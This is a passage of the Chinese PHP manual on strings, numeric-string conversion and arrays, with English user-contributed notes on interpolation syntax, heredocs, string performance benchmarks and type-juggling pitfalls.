最后，要书写能够正确使用 Unicode 的程序依赖于很小心地避免那些可能会损坏数据的函数。要使用来自于 intl 和 mbstring 扩展的函数。不过使用能处理 Unicode 编码的函数只是个开始。不管用何种语言提供的函数，最基本的还是了解 Unicode 规格。例如一个程序如果假定只有大写和小写，那可是大错特错。

User Contributed Notes

BahmanMD 07-Jan-2023 11:34
In PHP 8.2 using ${var} in strings is deprecated, use {$var} instead:

<?php
$juice = "apple";

// Valid. Explicitly specify the end of the variable name by enclosing it in braces:
echo "He drank some juice made of {$juice}s.";
?>
greenbluemoonlight at gmail dot com 18-Aug-2020 03:05
<?php
\\Example # 10 Simple Syntax - Solution for the last "echo" line.

class people {
    public $john = "John Smith";
    public $jane = "Jane Smith";
    public $robert = "Robert Paulsen";

    public $smith = "Smith";
}

$people = new people();

echo "$people->john then said hello to $people->jane.".PHP_EOL;
echo "$people->john's wife greeted $people->robert.".PHP_EOL;
echo "$people->robert greeted the two $people->smiths";
\\Won't work
\\Outputs: Robert Paulsen greeted the two

/**Solution:**\

echo "$people->robert greeted the two $people->smith\x08s";

\\Will work
\\Outputs: Robert Paulsen greeted the two Smiths

?>
vseokdog at gmail dot com 04-Jun-2019 10:12
Don't forget about new E_WARNING and E_NOTICE errors from PHP 7.1.x: they have been introduced when invalid strings are coerced using operators expecting numbers (+ - * / ** % << >> | & ^) or their assignment equivalents. An E_NOTICE is emitted when the string begins with a numeric value but contains trailing non-numeric characters, and an E_WARNING is emitted when the string does not contain a numeric value.

Example:
$foo = 1 + "bob-1.3e3";
$foo = "10.2 pigs " + 1.0;
Will produce: Warning: A non-numeric value encountered

Read more: https://www.php.net/manual/en/migration71.other-changes.php
Ray.Paseur sometimes uses Gmail 01-Dec-2018 05:14
md5('240610708') == md5('QNKCDZO')

This comparison is true because both md5() hashes start '0e' so PHP type juggling understands these strings to be scientific notation.  By definition, zero raised to any power is zero.
Hayley Watson 31-Dec-2017 10:08
Any single expression, however complex, that starts with $ (i.e., a variable) can be {}-embedded in a double-quoted string:

<?php

echo "The expression {$h->q()["x}"]->p(9 == 0 ? 17 : 42)} gets parsed just as well as " . $h->q()["x}"]->p(9 == 0 ? 17 : 42) . " does.";

?>
jonijnm at example dot com 25-Sep-2017 11:26
Both should work :(

<?php

class Testing {
    public static $VAR = 'static';
    public const VAR = 'const';

    public function sayHelloStatic() {
        echo "hello: {$this::$VAR}";
    }

    public function sayHelloConst() {
        echo "hello: {$this::VAR}"; //Parse error:  syntax error, unexpected '}', expecting '['
    }
}

$obj = new Testing();
$obj->sayHelloStatic();
$obj->sayHelloConst();
mark at manngo dot net 05-Jan-2017 02:52
I though that it would be helpful to add this comment so that the information at least appears on the right page on the PHP site.

Note that if you intend to use a double-quoted string with an associative key, you may run into the T_ENCAPSED_AND_WHITESPACE error. Some regard this as one of the less obvious error messages.

An expression such as:

<?php
    $fruit=array(
        'a'=>'apple',
        'b'=>'banana',
        //    etc
    );

    print "This is a $fruit['a']";    //    T_ENCAPSED_AND_WHITESPACE
?>

will definitely fall to pieces.

You can resolve it as follows:

<?php
    print "This is a $fruit[a]";    //    unquote the key
    print "This is a ${fruit['a']}";    //    Complex Syntax
    print "This is a {$fruit['a']}";    //    Complex Syntax variation
?>

I have a personal preference for the last variation as it is more natural and closer to what the expression would be like outside the string.

It's not clear (to me, at least) why PHP misinterprets the single quote inside the expression but I imagine that it has something to do with the fact quotes are not part of the value string — once the string is already being parsed the quotes just get in the way ... ?
John 14-Nov-2016 03:05
I've been a PHP programmer for a decade, and I've always been using the "single-quoted literal" and "period-concatenation" method of string creation. But I wanted to answer the performance question once and for all, using sufficient numbers of iterations and a modern PHP version. For my test, I used:

php -v
PHP 7.0.12 (cli) (built: Oct 14 2016 09:56:59) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies

------ Results: -------

* 100 million iterations:

$outstr = 'literal' . $n . $data . $int . $data . $float . $n;
63608ms (34.7% slower)

$outstr = "literal$n$data$int$data$float$n";
47218ms (fastest)

$outstr =<<<EOS
literal$n$data$int$data$float$n
EOS;
47992ms (1.64% slower)

$outstr = sprintf('literal%s%s%d%s%f%s', $n, $data, $int, $data, $float, $n);
76629ms (62.3% slower)

$outstr = sprintf('literal%s%5$s%2$d%3$s%4$f%s', $n, $int, $data, $float, $data, $n);
96260ms (103.9% slower)

* 10 million iterations (test adapted to see which of the two fastest methods were faster at adding a newline; either the PHP_EOL literal, or the \n string expansion):

$outstr = 'literal' . $n . $data . $int . $data . $float . $n;
6228ms (reference for single-quoted without newline)

$outstr = "literal$n$data$int$data$float$n";
4653ms (reference for double-quoted without newline)

$outstr = 'literal' . $n . $data . $int . $data . $float . $n . PHP_EOL;
6630ms (35.3% slower than double-quoted with \n newline)

$outstr = "literal$n$data$int$data$float$n\n";
4899ms (fastest at newlines)

* 100 million iterations (a test intended to see which one of the two ${var} and {$var} double-quote styles is faster):

$outstr = 'literal' . $n . $data . $int . $data . $float . $n;
67048ms (38.2% slower)

$outstr = "literal$n$data$int$data$float$n";
49058ms (1.15% slower)

$outstr = "literal{$n}{$data}{$int}{$data}{$float}{$n}"
49221ms (1.49% slower)

$outstr = "literal${n}${data}${int}${data}${float}${n}"
48500ms (fastest; the differences are small but this held true across multiple runs of the test, and this was always the fastest variable encapsulation style)

* 1 BILLION iterations (testing a completely literal string with nothing to parse in it):

$outstr = 'literal string testing';
23852ms (fastest)

$outstr = "literal string testing";
24222ms (1.55% slower)

It blows my mind. The double-quoted strings "which look so $slow since they have to parse everything for \n backslashes and $dollar signs to do variable expansion", turned out to be the FASTEST string concatenation method in PHP - PERIOD!

Single-quotes are only faster if your string is completely literal (with nothing to parse in it and nothing to concatenate), but the margin is very tiny and doesn't matter.

So the "highest code performance" style rules are:

1. Always use double-quoted strings for concatenation.

2. Put your variables in "This is a {$variable} notation", because it's the fastest method which still allows complex expansions like "This {$var['foo']} is {$obj->awesome()}!". You cannot do that with the "${var}" style.

3. Feel free to use single-quoted strings for TOTALLY literal strings such as array keys/values, variable values, etc, since they are a TINY bit faster when you want literal non-parsed strings. But I had to do 1 billion iterations to find a 1.55% measurable difference. So the only real reason I'd consider using single-quoted strings for my literals is for code cleanliness, to make it super clear that the string is literal.

4. If you think another method such as sprintf() or 'this'.$var.'style' is more readable, and you don't care about maximizing performance, then feel free to use whatever concatenation method you prefer!
nospam at nospam dot com 15-Sep-2016 08:44
Beware that consistent with "String conversion to numbers":

<?php

if ('123abc' == 123) echo '(intstr == int) incorrectly tests as true.';

// Because one side is a number, the string is incorrectly converted from intstr to int, which then matches the test number.

// True for all conditionals such as if and switch statements (probably also while loops)!

// This could be a huge security risk when testing/using/saving user input, while expecting and testing for only an integer.

// It seems the only fix is for 123 to be a string as '123' so no conversion happens.

?>
garbage at iglou dot eu 24-May-2016 10:02
You can use string like array of char (like C)

$a = "String array test";

var_dump($a);
// Return string(17) "String array test"

var_dump($a[0]);
// Return string(1) "S"

// -- With array cast --
var_dump((array) $a);
// Return array(1) { [0]=> string(17) "String array test"}

var_dump((array) $a[0]);
// Return string(17) "S"

- Norihiori
sideshowAnthony at googlemail dot com 26-Feb-2016 06:32
Something I experienced which no doubt will help someone . . .
In my editor, this will syntax highlight HTML and the $comment:

$html = <<<"EOD"
<b>$comment</b>
EOD;

Using this shows all the same colour:

$html = <<<EOD
<b>$comment</b>
EOD;

making it a lot easier to work with
necrodust44 at gmail dot com 04-Mar-2014 01:52
String conversion to numbers.

Unfortunately, the documentation is not correct.

?The value is given by the initial portion of the string. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be 0 (zero).?

It is not said and is not shown in examples throughout the documentation that, while converting strings to numbers, leading space characters are ignored, like with the strtod function.

<?php
    echo "     \v\f    \r   1234" + 1;    // 1235
    var_export ("\v\f    \r   1234" == "1234");    // true
?>

However, PHP's behaviour differs even from the strtod's. The documentation says that if the string contains a "e" or "E" character, it will be parsed as a float, and suggests to see the manual for strtod for more information. The manual says

?A hexadecimal number consists of a "0x" or "0X" followed by a nonempty sequence of hexadecimal digits possibly containing a radix character, optionally followed by a binary exponent.  A binary exponent consists of a 'P' or 'p', followed by an optional plus or minus sign, followed by a nonempty sequence of decimal digits, and indicates multiplication by a power of 2.?

But it seems that PHP does not recognise the exponent or the radix character.

<?php
    echo "0xEp4" + 1;     // 15
?>

strtod also uses the current locale to choose the radix character, but PHP ignores the locale, and the radix character is always 2E. However, PHP uses the locale while converting numbers to strings.

With strtod, the current locale is also used to choose the space characters, I don't know about PHP.
php at richardneill dot org 28-Feb-2013 06:20
Leading zeroes in strings are (least-surprise) not treated as octal.
Consider:
  $x = "0123"  + 0;
  $y = 0123 + 0;
  echo "x is $x, y is $y";    //prints  "x is 123, y is 83"
in other words:
 * leading zeros in numeric literals in the source-code are interpreted as "octal", c.f. strtol().
 * leading zeros in strings (eg user-submitted data), when cast (implicitly or explicitly) to integer are ignored, and considered as decimal, c.f. strtod().
gtisza at gmail dot com 10-Jan-2012 06:32
The documentation does not mention, but a closing semicolon at the end of the heredoc is actually interpreted as a real semicolon, and as such, sometimes leads to syntax errors.

This works:

<?php
$foo = <<<END
abcd
END;
?>

This does not:

<?php
foo(<<<END
abcd
END;
);
// syntax error, unexpected ';'
?>

Without semicolon, it works fine:

<?php
foo(<<<END
abcd
END
);
?>
shd at earthling dot net 20-Oct-2009 02:54
If you want a parsed variable surrounded by curly braces, just double the curly braces:

<?php
  $foo = "bar";
  echo "{{$foo}}";
?>

will just show {bar}. The { is special only if followed by the $ sign and matches one }. In this case, that applies only to the inner braces. The outer ones are not escaped and pass through directly.
headden at karelia dot ru 20-Jun-2009 12:43
Here is an easy hack to allow double-quoted strings and heredocs to contain arbitrary expressions in curly braces syntax, including constants and other function calls:

<?php

// Hack declaration
function _expr($v) { return $v; }
$_expr = '_expr';

// Our playground
define('qwe', 'asd');
define('zxc', 5);

$a=3;
$b=4;

function c($a, $b) { return $a+$b; }

// Usage
echo "pre {$_expr(1+2)} post\n"; // outputs 'pre 3 post'
echo "pre {$_expr(qwe)} post\n"; // outputs 'pre asd post'
echo "pre {$_expr(c($a, $b)+zxc*2)} post\n"; // outputs 'pre 17 post'

// General syntax is {$_expr(...)}
?>
steve at mrclay dot org 30-Sep-2008 01:33
Simple function to create human-readably escaped double-quoted strings for use in source code or when debugging strings with newlines/tabs/etc.

<?php
function doubleQuote($str) {
    $ret = '"';
    for ($i = 0, $l = strlen($str); $i < $l; ++$i) {
        $o = ord($str[$i]);
        if ($o < 31 || $o > 126) {
            switch ($o) {
                case 9: $ret .= '\t'; break;
                case 10: $ret .= '\n'; break;
                case 11: $ret .= '\v'; break;
                case 12: $ret .= '\f'; break;
                case 13: $ret .= '\r'; break;
                default: $ret .= '\x' . str_pad(dechex($o), 2, '0', STR_PAD_LEFT);
            }
        } else {
            switch ($o) {
                case 36: $ret .= '\$'; break;
                case 34: $ret .= '\"'; break;
                case 92: $ret .= '\\\\'; break;
                default: $ret .= $str[$i];
            }
        }
    }
    return $ret . '"';
}
?>
chAlx at findme dot if dot u dot need 11-Sep-2008 08:42
To save Your mind don't read previous comments about dates  ;)

When both strings can be converted to the numerics (in ("$a" > "$b") test) then resulted numerics are used, else FULL strings are compared char-by-char:

<?php
var_dump('1.22' > '01.23'); // bool(false)
var_dump('1.22.00' > '01.23.00'); // bool(true)
var_dump('1-22-00' > '01-23-00'); // bool(true)
var_dump((float)'1.22.00' > (float)'01.23.00'); // bool(false)
?>
Richard Neill 31-May-2007 08:31
Unlike bash, we can't do
  echo "\a"       #beep!

Of course, that would be rather meaningless for PHP/web, but it's useful for PHP-CLI. The solution is simple:  echo "\x07"
og at gams dot at 25-Apr-2007 05:06
easy transparent solution for using constants in the heredoc format:
DEFINE('TEST','TEST STRING');

$const = get_defined_constants();

echo <<<END
{$const['TEST']}
END;

Result:
TEST STRING
bishop 28-Mar-2006 12:58
You may use heredoc syntax to comment out large blocks of code, as follows:
<?php
<<<_EOC
    // end-of-line comment will be masked... so will regular PHP:
    echo ($test == 'foo' ? 'bar' : 'baz');
    /* c-style comment will be masked, as will other heredocs (not using the same marker) */
    echo <<<EOHTML
This is text you'll never see!
EOHTML;
    function defintion($params) {
        echo 'foo';
    }
    class definition extends nothing     {
       function definition($param) {
          echo 'do nothing';
       }
    }

    how about syntax errors?; = gone, I bet.
_EOC;
?>

Useful for debugging when C-style just won't do.  Also useful if you wish to embed Perl-like Plain Old Documentation; extraction between POD markers is left as an exercise for the reader.

Note there is a performance penalty for this method, as PHP must still parse and variable substitute the string.
lelon at lelon dot net 27-Oct-2004 12:01
You can use the complex syntax to put the value of both object properties AND object methods inside a string.  For example...
<?php
class Test {
    public $one = 1;
    public function two() {
        return 2;
    }
}
$test = new Test();
echo "foo {$test->one} bar {$test->two()}";
?>
Will output "foo 1 bar 2".

However, you cannot do this for all values in your namespace.  Class constants and static properties/methods will not work because the complex syntax looks for the '$'.
<?php
class Test {
    const ONE = 1;
}
echo "foo {Test::ONE} bar";
?>
This will output "foo {Test::one} bar".  Constants and static properties require you to break up the string.
atnak at chejz dot com 11-Apr-2004 03:53
Here is a possible gotcha related to oddness involved with accessing strings by character past the end of the string:

$string = 'a';

var_dump($string[2]);  // string(0) ""
var_dump($string[7]);  // string(0) ""
$string[7] === '';  // TRUE

It appears that anything past the end of the string gives an empty string..  However, when E_NOTICE is on, the above examples will throw the message:

Notice:  Uninitialized string offset:  N in FILE on line LINE

This message cannot be specifically masked with @$string[7], as is possible when $string itself is unset.

isset($string[7]);  // FALSE
$string[7] === NULL;  // FALSE

Even though it seems like a not-NULL value of type string, it is still considered unset.


数字字符串

如果一个 PHP string 可以被解释为 int 或 float 类型，则它被视为数字字符串。

PHP 8.0.0 正式可用：

WHITESPACES      \s*
LNUM             [0-9]+
DNUM             ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM    (({LNUM} | {DNUM}) [eE][+-]? {LNUM})
INT_NUM_STRING   {WHITESPACES} [+-]? {LNUM} {WHITESPACES}
FLOAT_NUM_STRING {WHITESPACES} [+-]? ({DNUM} | {EXPONENT_DNUM}) {WHITESPACES}
NUM_STRING       ({INT_NUM_STRING} | {FLOAT_NUM_STRING})

PHP 也有前导数字字符串的概念。 这只是一个字符串，其开头类似于数字字符串，后跟任何字符。

Note:

任何包含字母 E 周围是数字的字符串都将视为以科学计数法表示的数字。这会产生意想不到的效果。

<?php
var_dump("0D1" == "000"); // false, "0D1" 不是科学计数法
var_dump("0E1" == "000"); // true, "0E1" is 0 * (10 ^ 1), or 0
var_dump("2E1" == "020"); // true, "2E1" is 2 * (10 ^ 1), or 20
?>

在数字上下文中使用的字符串

当一个 string 需要被当作一个数字计算时，（例如：算术运算， int 类型声明等)，则采取以下步骤来确定结果：

  1. 如果 string 是数字，当 string 是整数字符串并且符合 int 类型的范围限制（即是 PHP_INT_MAX 定义的值），则解析为 int ，否则解析为 float 。
  2. 如果上下文允许前导数字和一个 string，如果 string 的前导部分是整数数字字符串且符合 int 类型限制（由 PHP_INT_MAX 定义），则解析为 int ，否则解析为 float 。 此外，还会导致 E_WARNING 级别的错误。
  3. 如果 string 不是数字，则会抛出一个 TypeError 的异常。

PHP 8.0.0 之前的行为

在 PHP 8.0.0 之前， 只有在前导空格的时候，string 才被认为是数字；如果它有尾随空格，则该字符串被视为是前导数字。

在 PHP 8.0.0 之前，当在数字上下文中使用字符串时，它将执行与上述相同的步骤，但有以下区别：

  • 使用前导数字字符串将导致 E_NOTICE 而不是 E_WARNING 错误。
  • 如果字符串不是数字，则会导致 E_WARNING 错误并返回 0 。
在 PHP 7.1.0 之前，则既不会导致 E_NOTICE，也不会导致 E_WARNING。

<?php
$foo = 1 + "10.5"; // $foo 是 float (11.5)
$foo = 1 + "-1.3e3"; // $foo 是 float (-1299)
$foo = 1 + "bob-1.3e3"; // PHP 8.0.0 起产生 TypeError；在此之前 $foo 是 integer (1)
$foo = 1 + "bob3"; // PHP 8.0.0 起产生 TypeError；在此之前 $foo 是 integer (1)
$foo = 1 + "10 Small Pigs"; // PHP 8.0.0 起，$foo 是 integer (11)，并且产生 E_WARNING；在此之前产生 E_NOTICE
$foo = 4 + "10.2 Little Piggies"; // PHP 8.0.0 起，$foo 是 float (14.2)，并且产生 E_WARNING；在此之前产生 E_NOTICE
$foo = "10.0 pigs " + 1; // PHP 8.0.0 起，$foo 是 float (11)，并且产生 E_WARNING；在此之前产生 E_NOTICE
$foo = "10.0 pigs " + 1.0; // PHP 8.0.0 起，$foo 是 float (11)，并且产生 E_WARNING；在此之前产生 E_NOTICE
?>

User Contributed Notes

There are no user contributed notes for this page.


Array 数组

PHP 中的 array 实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。此类型针对多种不同用途进行了优化； 它可以被视为数组、列表（向量）、哈希表（映射的实现）、字典、集合、堆栈、队列等等。 由于 array 的值可以是其它 array 所以树形结构和多维 array 也是允许的。

解释这些数据结构超出了本手册的范围，但对每种结构至少会提供一个例子。 要得到这些数据结构的更多信息，建议参考有关此广阔主题的其它文献。

语法

定义数组 array()

可以用 array() 语言结构来新建一个 array。它接受任意数量用逗号分隔的 键（key） => 值（value） 对。

array(
    key  => value,
    key2 => value2,
    key3 => value3,
    ...
)

最后一个数组单元之后的逗号可以省略。通常用于单行数组定义中，例如常用 array(1, 2) 而不是 array(1, 2, )。对多行数组定义通常保留最后一个逗号，这样要添加一个新单元时更方便。

Note:

可以用短数组语法 [] 替代 array() 。

Example #1 一个简单数组

<?php
$array = array(
"foo" => "bar",
"bar" => "foo",
);

// 使用短数组语法
$array = [
"foo" => "bar",
"bar" => "foo",
];
?>

key 可以是 integer 或者 string。value 可以是任意类型。

此外 key 会有如下的强制转换：

  • String 中包含有效的十进制 int，除非数字前面有一个 + 号，否则将被转换为 int 类型。例如键名 "8" 实际会被储存为 8。另外， "08" 不会被强制转换，因为它不是一个有效的十进制整数。
  • Float 也会被转换为 int ，意味着其小数部分会被舍去。例如键名 8.7 实际会被储存为 8。
  • Bool 也会被转换成 int。即键名 true 实际会被储存为 1 而键名 false 会被储存为 0。
  • Null 会被转换为空字符串，即键名 null 实际会被储存为 ""。
  • Array 和 object 不能 被用为键名。坚持这么做会导致警告：Illegal offset type。

如果在数组定义时多个元素都使用相同键名，那么只有最后一个会被使用，其它的元素都会被覆盖。

Example #2 类型转换与覆盖的示例

<?php
$array = array(
1 => "a",
"1" => "b",
1.5 => "c",
true => "d",
);
var_dump($array);
?>

以上示例会输出：

array(1) {
  [1]=>
  string(1) "d"
}

上例中所有的键名都被强制转换为 1，则每一个新单元都会覆盖前一个的值，最后剩下的只有一个 "d"。

PHP 数组可以同时含有 int 和 string 类型的键名，因为 PHP 实际并不区分索引数组和关联数组。

Example #3 混合 int 和 string 键名

<?php
$array = array(
"foo" => "bar",
"bar" => "foo",
100 => -100,
-100 => 100,
);
var_dump($array);
?>

以上示例会输出：

array(4) {
  ["foo"]=>
  string(3) "bar"
  ["bar"]=>
  string(3) "foo"
  [100]=>
  int(-100)
  [-100]=>
  int(100)
}

key 为可选项。如果未指定，PHP 将自动使用之前用过的最大 int 键名加上 1 作为新的键名。

Example #4 没有键名的索引数组

<?php
$array = array("foo", "bar", "hello", "world");
var_dump($array);
?>

以上示例会输出：

array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(5) "hello"
  [3]=>
  string(5) "world"
}

还可以只对某些单元指定键名而对其它的空置：

Example #5 仅对部分单元指定键名

<?php
$array = array(
"a",
"b",
6 => "c",
"d",
);
var_dump($array);
?>

以上示例会输出：

array(4) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [6]=>
  string(1) "c"
  [7]=>
  string(1) "d"
}

可以看到最后一个值 "d" 被自动赋予了键名 7。这是由于之前最大的整数键名是 6。

Example #6 复杂类型转换和覆盖的例子

这个例子包括键名类型转换和元素覆盖的所有变化。

<?php
$array = array(
1 => 'a',
'1' => 'b', // 值 "a" 会被 "b" 覆盖
1.5 => 'c', // 值 "b" 会被 "c" 覆盖
-1 => 'd',
'01' => 'e', // 由于这不是整数字符串，因此不会覆盖键名 1
'1.5' => 'f', // 由于这不是整数字符串，因此不会覆盖键名 1
true => 'g', // 值 "c" 会被 "g" 覆盖
false => 'h',
'' => 'i',
null => 'j', // 值 "i" 会被 "j" 覆盖
'k', // 值 "k" 的键名被分配为 2。这是因为之前最大的整数键是 1
2 => 'l', // 值 "k" 会被 "l" 覆盖
);

var_dump($array);
?>

以上示例会输出：

array(7) {
  [1]=>
  string(1) "g"
  [-1]=>
  string(1) "d"
  ["01"]=>
  string(1) "e"
  ["1.5"]=>
  string(1) "f"
  [0]=>
  string(1) "h"
  [""]=>
  string(1) "j"
  [2]=>
  string(1) "l"
}

用方括号语法访问数组单元

数组单元可以通过 array[key] 语法来访问。

Example #7 访问数组单元

<?php
$array = array(
"foo" => "bar",
42 => 24,
"multi" => array(
"dimensional" => array(
"array" => "foo"
)
)
);

var_dump($array["foo"]);
var_dump($array[42]);
var_dump($array["multi"]["dimensional"]["array"]);
?>

以上示例会输出：

string(3) "bar"
int(24)
string(3) "foo"

Note:

在 PHP 8.0.0 之前，方括号和花括号可以互换使用来访问数组单元（例如 $array[42] 和 $array{42} 在上例中效果相同）。 花括号语法在 PHP 7.4.0 中已弃用，在 PHP 8.0.0 中不再支持。

Example #8 数组解引用

<?php
function getArray() {
return array(1, 2, 3);
}

$secondElement = getArray()[1];
?>

Note:

试图访问一个未定义的数组键名与访问任何未定义变量一样：会导致 E_WARNING 级别错误信息（在 PHP 8.0.0 之前是 E_NOTICE 级别），其结果为 null。

Note:

数组解引用非 string 的标量值会产生 null。 在 PHP 7.4.0 之前，它不会发出错误消息。 从 PHP 7.4.0 开始，这个问题产生 E_NOTICE ； 从 PHP 8.0.0 开始，这个问题产生 E_WARNING 。

用方括号的语法新建／修改

可以通过明示地设定其中的值来修改现有的 array 。

这是通过在方括号内指定键名来给 array 赋值实现的。也可以省略键名，在这种情况下给变量名加上一对空的方括号（[]）。

$arr[key] = value;
$arr[] = value;
// key 可以是 int 或 string
// value 可以是任意类型的值

如果 $arr 不存在或者设置为 null 或者 false，将会新建它，这也是另一种创建 array 的方法。不过并不鼓励这样做，因为如果 $arr 已经包含有值（例如来自请求变量的 string）则此值会保留而 [] 实际上代表着字符串访问运算符。初始化变量的最好方式是直接给其赋值。

Note: 从 PHP 7.1.0 起，对字符串应用空索引操作符会抛出致命错误。以前，字符串被静默地转换为数组。

Note: 从 PHP 8.1.0 起，弃用从 false 值中创建一个新数组。 但仍然允许从 null 或者未定义的变量中创建新数组。

要修改某个值，通过其键名给该单元赋一个新值。要删除某键值对，对其调用 unset() 函数。

<?php
$arr = array(5 => 1, 12 => 2);

$arr[] = 56; // 这与 $arr[13] = 56 相同;
// 在脚本的这一点上

$arr["x"] = 42; // 添加一个新元素
// 键名使用 "x"

unset($arr[5]); // 从数组中删除元素

unset($arr); // 删除整个数组
?>

Note:

如上所述，如果给出方括号但没有指定键名，则取当前最大 int 索引值，新的键名将是该值加上 1（但是最小为 0）。如果当前还没有 int 索引，则键名将为 0 。

注意这里所使用的最大整数键名目前不需要存在于 array 中。 它只要在上次 array 重新生成索引后曾经存在于 array 就行了。以下面的例子来说明：

<?php
// 创建一个简单的数组
$array = array(1, 2, 3, 4, 5);
print_r($array);

// 现在删除其中的所有元素，但保持数组本身不变:
foreach ($array as $i => $value) {
unset($array[$i]);
}
print_r($array);

// 添加一个单元（注意新的键名是 5，而不是你可能以为的 0）
$array[] = 6;
print_r($array);

// 重新索引：
$array = array_values($array);
$array[] = 7;
print_r($array);
?>

以上示例会输出：

Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)
Array
(
)
Array
(
    [5] => 6
)
Array
(
    [0] => 6
    [1] => 7
)

数组解包

可以使用 []（自 PHP 7.1.0 起）或者 list() 语言结构解包数组。这些结构可用于将数组解包为不同的变量。

<?php
$source_array = ['foo', 'bar', 'baz'];

[$foo, $bar, $baz] = $source_array;

echo $foo; // 打印 "foo"
echo $bar; // 打印 "bar"
echo $baz; // 打印 "baz"
?>

数组解包可用于 foreach 在迭代多维数组时对其进行解包。

<?php
$source_array = [
[1, 'John'],
[2, 'Jane'],
];

foreach ($source_array as [$id, $name]) {
// 这里是 $id 和 $name 的逻辑
}
?>

如果变量未提供，数组元素将会被忽略。数组解包始终从索引 0 开始。

<?php
$source_array = ['foo', 'bar', 'baz'];

// 将索引 2 的元素分配给变量 $baz
[, , $baz] = $source_array;

echo $baz; // 打印 "baz"
?>

自 PHP 7.1.0 起，也可以解包关联数组。这在数字索引数组中更容易选择正确的元素，因为可以显式指定索引。

<?php
$source_array = ['foo' => 1, 'bar' => 2, 'baz' => 3];

// 将索引 'baz' 处的元素分配给变量 $three
['baz' => $three] = $source_array;

echo $three; // 打印 3

$source_array = ['foo', 'bar', 'baz'];

// 将索引 2 处的元素分配给变量 $baz
[2 => $baz] = $source_array;

echo $baz; // 打印 "baz"
?>

数组解包可以方便的用于两个变量交换。

<?php
$a = 1;
$b = 2;

[$b, $a] = [$a, $b];

echo $a; // 打印 2
echo $b; // 打印 1
?>

Note:

分配时不支持展开运算符（...）。

Note:

尝试访问未定义的数组键与访问任何未定义的变量相同：都将发出 E_WARNING 级别的错误消息（PHP 8.0.0 之前是 E_NOTICE 级别），结果将是 null。

实用函数

有很多操作数组的函数，参见 数组函数 一节。

Note:

unset() 函数允许删除 array 中的某个键。但要注意数组将不会重建索引。如果需要删除后重建索引，可以用 array_values() 函数重建 array 索引。

<?php
$a = array(1 => 'one', 2 => 'two', 3 => 'three');
unset($a[2]);
/* 该数组将被定义为
$a = array(1 => 'one', 3 => 'three');
而不是
$a = array(1 => 'one', 2 =>'three');
*/

$b = array_values($a);
// 现在 $b 是 array(0 => 'one', 1 =>'three')
?>

foreach 控制结构是专门用于 array 的。它提供了一个简单的方法来遍历 array。

数组做什么和不做什么

为什么 $foo[bar] 错了？

应该始终在用字符串表示的数组索引上加上引号。例如用 $foo['bar'] 而不是 $foo[bar]。但是为什么呢？可能在老的脚本中见过如下语法：

<?php
$foo[bar] = 'enemy';
echo $foo[bar];
// 及其它
?>

这样是错的，但可以正常运行。那么为什么错了呢？原因是此代码中有一个未定义的常量（ bar ）而不是 string（'bar'－注意引号）。而 PHP 可能会在以后定义此常量，不幸的是你的代码中有同样的名字。它能运行，是因为 PHP 自动将裸字符串（没有引号的 string 且不对应于任何已知符号）转换成一个其值为该裸 string 的 string。例如，如果没有常量定义为 bar，那么PHP 将在 string 中替代为 'bar' 并使用之。

Warning

将未定义的常量当作裸字符串的回退会触发 E_NOTICE 级别错误。 从 PHP 7.2.0 起已废弃，并触发 E_WARNING 级别错误。 从 PHP 8.0.0 起被移除，并触发 Error 异常。

Note: 这并不意味着总是给键名加上引号。用不着给键名为 常量 或 变量 的加上引号，否则会使 PHP 不能解析它们。

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('html_errors', false);
// 简单数组:
$array = array(1, 2);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
echo "\n检查 $i: \n";
echo "坏的: " . $array['$i'] . "\n";
echo "好的: " . $array[$i] . "\n";
echo "坏的: {$array['$i']}\n";
echo "好的: {$array[$i]}\n";
}
?>

以上示例会输出：

检查 0:
Notice: Undefined index:  $i in /path/to/script.html on line 9
坏的:
好的: 1
Notice: Undefined index:  $i in /path/to/script.html on line 11
坏的:
好的: 1

检查 1:
Notice: Undefined index:  $i in /path/to/script.html on line 9
坏的:
好的: 2
Notice: Undefined index:  $i in /path/to/script.html on line 11
坏的:
好的: 2

演示此行为的更多例子：

<?php
// 显示所有错误
error_reporting(E_ALL);

$arr = array('fruit' => 'apple', 'veggie' => 'carrot');

// 正确的
print $arr['fruit']; // apple
print $arr['veggie']; // carrot

// 不正确的。 这可以工作，但也会抛出一个 E_NOTICE 级别的 PHP 错误，因为
// 未定义名为 apple 的常量
//
// Notice: Use of undefined constant fruit - assumed 'fruit' in...
print $arr[fruit]; // apple

// 这定义了一个常量来演示正在发生的事情。 值 'veggie'
// 被分配给一个名为 fruit 的常量。
define('fruit', 'veggie');

// 注意这里的区别
print $arr['fruit']; // apple
print $arr[fruit]; // carrot

// 以下是可以的，因为它在字符串中。
// 不会在字符串中查找常量，因此此处不会出现 E_NOTICE
print "Hello $arr[fruit]"; // Hello apple

// 有一个例外：字符串中花括号围绕的数组中常量可以被解释
//
print "Hello {$arr[fruit]}"; // Hello carrot
print "Hello {$arr['fruit']}"; // Hello apple

// 这将不起作用，并会导致解析错误，例如：
// Parse error: parse error, expecting T_STRING' or T_VARIABLE' or T_NUM_STRING'
// 这当然也适用于在字符串中使用超全局变量
print "Hello $arr['fruit']";
print "Hello $_GET['foo']";

// 串联是另一种选择
print "Hello " . $arr['fruit']; // Hello apple
?>

当打开 error_reporting 来显示 E_NOTICE 级别的错误（将其设为 E_ALL）时将看到这些错误。默认情况下 error_reporting 被关闭不显示这些。

和在 语法 一节中规定的一样，在方括号（[" 和 "]"）之间必须有一个表达式。这意味着可以这样写：

<?php
echo $arr[somefunc($bar)];
?>

这是一个用函数返回值作为数组索引的例子。PHP 也可以用已知常量，可能之前已经见过：

<?php
$error_descriptions[E_ERROR] = "A fatal error has occurred";
$error_descriptions[E_WARNING] = "PHP issued a warning";
$error_descriptions[E_NOTICE] = "This is just an informal notice";
?>

注意 E_ERROR 也是个合法的标识符，就和第一个例子中的 bar 一样。但是上一个例子实际上和如下写法是一样的：

<?php
$error_descriptions[1] = "A fatal error has occurred";
$error_descriptions[2] = "PHP issued a warning";
$error_descriptions[8] = "This is just an informal notice";
?>

